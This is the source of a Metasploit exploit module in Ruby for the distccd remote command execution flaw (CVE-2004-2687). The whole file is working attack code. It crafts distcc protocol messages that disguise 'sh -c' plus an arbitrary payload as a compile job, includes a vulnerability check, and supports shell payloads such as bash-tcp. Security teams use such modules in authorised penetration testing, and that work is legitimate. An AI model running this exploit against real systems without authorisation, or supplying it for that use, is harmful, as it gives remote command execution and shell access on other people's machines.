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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'DistCC Daemon Command Execution',
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      'Description'    => %q{
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        This module uses a documented security weakness to execute
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        arbitrary commands on any system running distccd.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2004-2687'],
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          [ 'OSVDB', '13378' ],
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          [ 'URL', 'http://distcc.samba.org/security.html'],
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        ],
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      'Platform'       => ['unix'],
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      'Arch'           => ARCH_CMD,
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Space'       => 1024,
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd cmd_bash',
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              'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp',
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic Target', { }]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2002-02-01'
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      ))
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      register_options(
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        [
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          Opt::RPORT(3632)
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        ])
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  end
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  def check
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    r = rand_text_alphanumeric(10)
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    connect
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    sock.put(dist_cmd("sh", "-c", "echo #{r}"))
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    dtag = rand_text_alphanumeric(10)
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    sock.put("DOTI0000000A#{dtag}\n")
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    err, out = read_output
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    if out && out.index(r)
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      return Exploit::CheckCode::Vulnerable
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    distcmd = dist_cmd("sh", "-c", payload.encoded);
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    sock.put(distcmd)
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    dtag = rand_text_alphanumeric(10)
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    sock.put("DOTI0000000A#{dtag}\n")
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    err, out = read_output
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    (err || "").split("\n") do |line|
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      print_status("stderr: #{line}")
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    end
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    (out || "").split("\n") do |line|
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      print_status("stdout: #{line}")
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    end
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    handler
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    disconnect
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  end
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  def read_output
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    res = sock.get_once(24, 5)
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    if !(res and res.length == 24)
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      print_status("The remote distccd did not reply to our request")
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      disconnect
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      return
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    end
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    # Check STDERR
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    res = sock.get_once(4, 5)
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    res = sock.get_once(8, 5)
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    len = [res].pack("H*").unpack("N")[0]
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    return [nil, nil] if not len
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    if (len > 0)
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      err = sock.get_once(len, 5)
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    end
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    # Check STDOUT
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    res = sock.get_once(4, 5)
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    res = sock.get_once(8, 5)
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    len = [res].pack("H*").unpack("N")[0]
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    return [err, nil] if not len
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    if (len > 0)
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      out = sock.get_once(len, 5)
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    end
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    return [err, out]
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  end
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  # Generate a distccd command
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  def dist_cmd(*args)
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    # Convince distccd that this is a compile
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    args.concat(%w{# -c main.c -o main.o})
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    # Set distcc 'magic fairy dust' and argument count
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    res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
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    # Set the command arguments
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    args.each do |arg|
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      res << sprintf("ARGV%.8x%s", arg.length, arg)
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    end
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    return res
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  end
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end
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